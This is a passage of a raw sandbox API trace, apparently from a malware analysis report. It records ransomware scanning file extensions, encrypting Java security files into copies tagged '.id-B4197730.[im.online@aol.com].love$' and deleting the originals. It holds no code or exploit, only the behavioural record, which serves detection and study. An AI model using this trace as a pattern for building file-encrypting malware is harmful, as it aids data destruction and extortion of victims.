(lpString1=".ppt", lpString2="licy") returned -1 [0241.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.246] lstrlenW (lpString=".zip") returned 4 [0241.246] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0241.246] lstrlenW (lpString=".rar") returned 4 [0241.246] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0241.246] lstrlenW (lpString=".bz2") returned 4 [0241.246] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0241.246] lstrlenW (lpString=".7z") returned 3 [0241.246] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0241.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.246] lstrlenW (lpString=".dbf") returned 4 [0241.246] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0241.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.246] lstrlenW (lpString=".1cd") returned 4 [0241.246] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0241.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0241.246] lstrlenW (lpString=".jpg") returned 4 [0241.246] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0241.247] lstrcmpiW (lpString1=".security", lpString2=".love$") returned 1 [0241.247] lstrlenW (lpString="java.security") returned 13 [0241.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0241.248] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=36524) returned 1 [0241.248] CloseHandle (hObject=0x45c) returned 1 [0241.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0241.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0241.249] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0241.249] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0241.249] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0241.250] GetLastError () returned 0x0 [0241.250] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x8eac, lpOverlapped=0x0) returned 1 [0241.269] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0241.271] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0241.271] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xee, lpOverlapped=0x0) returned 1 [0241.271] SetEndOfFile (hFile=0x540) returned 1 [0241.271] CloseHandle (hObject=0x540) returned 1 [0241.271] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0241.271] SetEndOfFile (hFile=0x45c) returned 1 [0241.279] CloseHandle (hObject=0x45c) returned 1 [0241.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0241.280] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0241.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.281] lstrlenW (lpString=".doc") returned 4 [0241.281] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0241.281] lstrlenW (lpString=".docx") returned 5 [0241.281] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0241.281] lstrlenW (lpString=".pdf") returned 4 [0241.281] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0241.281] lstrlenW (lpString=".xls") returned 4 [0241.281] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0241.281] lstrlenW (lpString=".xlsx") returned 5 [0241.281] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0241.281] lstrlenW (lpString=".ppt") returned 4 [0241.281] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0241.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.281] lstrlenW (lpString=".zip") returned 4 [0241.282] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0241.282] lstrlenW (lpString=".rar") returned 4 [0241.282] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0241.282] lstrlenW (lpString=".bz2") returned 4 [0241.282] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0241.282] lstrlenW (lpString=".7z") returned 3 [0241.282] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0241.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.282] lstrlenW (lpString=".dbf") returned 4 [0241.282] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0241.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.282] lstrlenW (lpString=".1cd") returned 4 [0241.282] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0241.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.282] lstrlenW (lpString=".jpg") returned 4 [0241.282] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0241.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.282] lstrlenW (lpString=".doc") returned 4 [0241.282] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0241.282] lstrlenW (lpString=".docx") returned 5 [0241.282] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0241.282] lstrlenW (lpString=".pdf") returned 4 [0241.282] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0241.282] lstrlenW (lpString=".xls") returned 4 [0241.282] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0241.282] lstrlenW (lpString=".xlsx") returned 5 [0241.282] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0241.283] lstrlenW (lpString=".ppt") returned 4 [0241.283] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0241.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.283] lstrlenW (lpString=".zip") returned 4 [0241.283] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0241.283] lstrlenW (lpString=".rar") returned 4 [0241.283] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0241.283] lstrlenW (lpString=".bz2") returned 4 [0241.283] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0241.283] lstrlenW (lpString=".7z") returned 3 [0241.283] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0241.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.283] lstrlenW (lpString=".dbf") returned 4 [0241.283] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0241.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.283] lstrlenW (lpString=".1cd") returned 4 [0241.283] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0241.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0241.283] lstrlenW (lpString=".jpg") returned 4 [0241.283] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0241.283] lstrcmpiW (lpString1=".policy", lpString2=".love$") returned 1 [0241.283] lstrlenW (lpString="javaws.policy") returned 13 [0241.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0241.284] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=98) returned 1 [0241.284] CloseHandle (hObject=0x45c) returned 1 [0241.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0241.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.285] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0241.285] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0241.285] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0241.285] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0242.045] GetLastError () returned 0x0 [0242.045] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x62, lpOverlapped=0x0) returned 1 [0242.047] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x70, lpOverlapped=0x0) returned 1 [0242.048] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0242.048] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xee, lpOverlapped=0x0) returned 1 [0242.048] SetEndOfFile (hFile=0x44c) returned 1 [0242.049] CloseHandle (hObject=0x44c) returned 1 [0242.049] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.049] SetEndOfFile (hFile=0x45c) returned 1 [0242.055] CloseHandle (hObject=0x45c) returned 1 [0242.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0242.254] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0242.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.448] lstrlenW (lpString=".doc") returned 4 [0242.448] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0242.448] lstrlenW (lpString=".docx") returned 5 [0242.448] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0242.448] lstrlenW (lpString=".pdf") returned 4 [0242.448] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0242.448] lstrlenW (lpString=".xls") returned 4 [0242.448] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0242.448] lstrlenW (lpString=".xlsx") returned 5 [0242.448] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0242.448] lstrlenW (lpString=".ppt") returned 4 [0242.448] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0242.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.448] lstrlenW (lpString=".zip") returned 4 [0242.448] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0242.448] lstrlenW (lpString=".rar") returned 4 [0242.448] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0242.448] lstrlenW (lpString=".bz2") returned 4 [0242.448] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0242.448] lstrlenW (lpString=".7z") returned 3 [0242.448] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0242.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.448] lstrlenW (lpString=".dbf") returned 4 [0242.448] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0242.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.448] lstrlenW (lpString=".1cd") returned 4 [0242.449] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0242.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.449] lstrlenW (lpString=".jpg") returned 4 [0242.449] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0242.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.449] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.449] lstrlenW (lpString=".doc") returned 4 [0242.449] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0242.449] lstrlenW (lpString=".docx") returned 5 [0242.449] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0242.449] lstrlenW (lpString=".pdf") returned 4 [0242.449] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0242.449] lstrlenW (lpString=".xls") returned 4 [0242.449] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0242.449] lstrlenW (lpString=".xlsx") returned 5 [0242.450] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0242.450] lstrlenW (lpString=".ppt") returned 4 [0242.450] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0242.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.450] lstrlenW (lpString=".zip") returned 4 [0242.450] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0242.450] lstrlenW (lpString=".rar") returned 4 [0242.450] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0242.450] lstrlenW (lpString=".bz2") returned 4 [0242.450] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0242.450] lstrlenW (lpString=".7z") returned 3 [0242.450] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0242.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.450] lstrlenW (lpString=".dbf") returned 4 [0242.450] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0242.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.450] lstrlenW (lpString=".1cd") returned 4 [0242.450] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0242.450] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0242.450] lstrlenW (lpString=".jpg") returned 4 [0242.450] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0242.450] lstrcmpiW (lpString1=".libraries", lpString2=".love$") returned -1 [0242.450] lstrlenW (lpString="trusted.libraries") returned 17 [0242.451] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0242.550] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=0) returned 1 [0242.550] CloseHandle (hObject=0x45c) returned 1 [0242.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.550] lstrlenW (lpString=".doc") returned 4 [0242.550] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0242.550] lstrlenW (lpString=".docx") returned 5 [0242.550] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0242.550] lstrlenW (lpString=".pdf") returned 4 [0242.550] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0242.550] lstrlenW (lpString=".xls") returned 4 [0242.550] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0242.550] lstrlenW (lpString=".xlsx") returned 5 [0242.550] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0242.550] lstrlenW (lpString=".ppt") returned 4 [0242.550] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0242.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.550] lstrlenW (lpString=".zip") returned 4 [0242.550] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString=".rar") returned 4 [0242.551] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString=".bz2") returned 4 [0242.551] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString=".7z") returned 3 [0242.551] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0242.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.551] lstrlenW (lpString=".dbf") returned 4 [0242.551] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.551] lstrlenW (lpString=".1cd") returned 4 [0242.551] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.551] lstrlenW (lpString=".jpg") returned 4 [0242.551] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.551] lstrlenW (lpString=".doc") returned 4 [0242.551] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString=".docx") returned 5 [0242.551] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0242.551] lstrlenW (lpString=".pdf") returned 4 [0242.551] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString=".xls") returned 4 [0242.551] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString=".xlsx") returned 5 [0242.551] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0242.551] lstrlenW (lpString=".ppt") returned 4 [0242.551] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0242.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.551] lstrlenW (lpString=".zip") returned 4 [0242.552] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0242.552] lstrlenW (lpString=".rar") returned 4 [0242.552] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0242.552] lstrlenW (lpString=".bz2") returned 4 [0242.552] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0242.552] lstrlenW (lpString=".7z") returned 3 [0242.552] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0242.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.552] lstrlenW (lpString=".dbf") returned 4 [0242.552] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0242.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.552] lstrlenW (lpString=".1cd") returned 4 [0242.552] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0242.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0242.552] lstrlenW (lpString=".jpg") returned 4 [0242.552] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0242.552] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0242.552] lstrlenW (lpString="US_export_policy.jar") returned 20 [0242.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0242.553] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3026) returned 1 [0242.554] CloseHandle (hObject=0x45c) returned 1 [0242.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0242.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0242.554] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.554] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0242.555] GetLastError () returned 0x0 [0242.555] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xbd2, lpOverlapped=0x0) returned 1 [0242.749] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xbe0, lpOverlapped=0x0) returned 1 [0242.750] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0242.750] WriteFile (in: hFile=0x540, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xfc, lpOverlapped=0x0) returned 1 [0242.750] SetEndOfFile (hFile=0x540) returned 1 [0242.751] CloseHandle (hObject=0x540) returned 1 [0242.751] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0242.751] SetEndOfFile (hFile=0x45c) returned 1 [0242.753] CloseHandle (hObject=0x45c) returned 1 [0242.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0242.754] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: 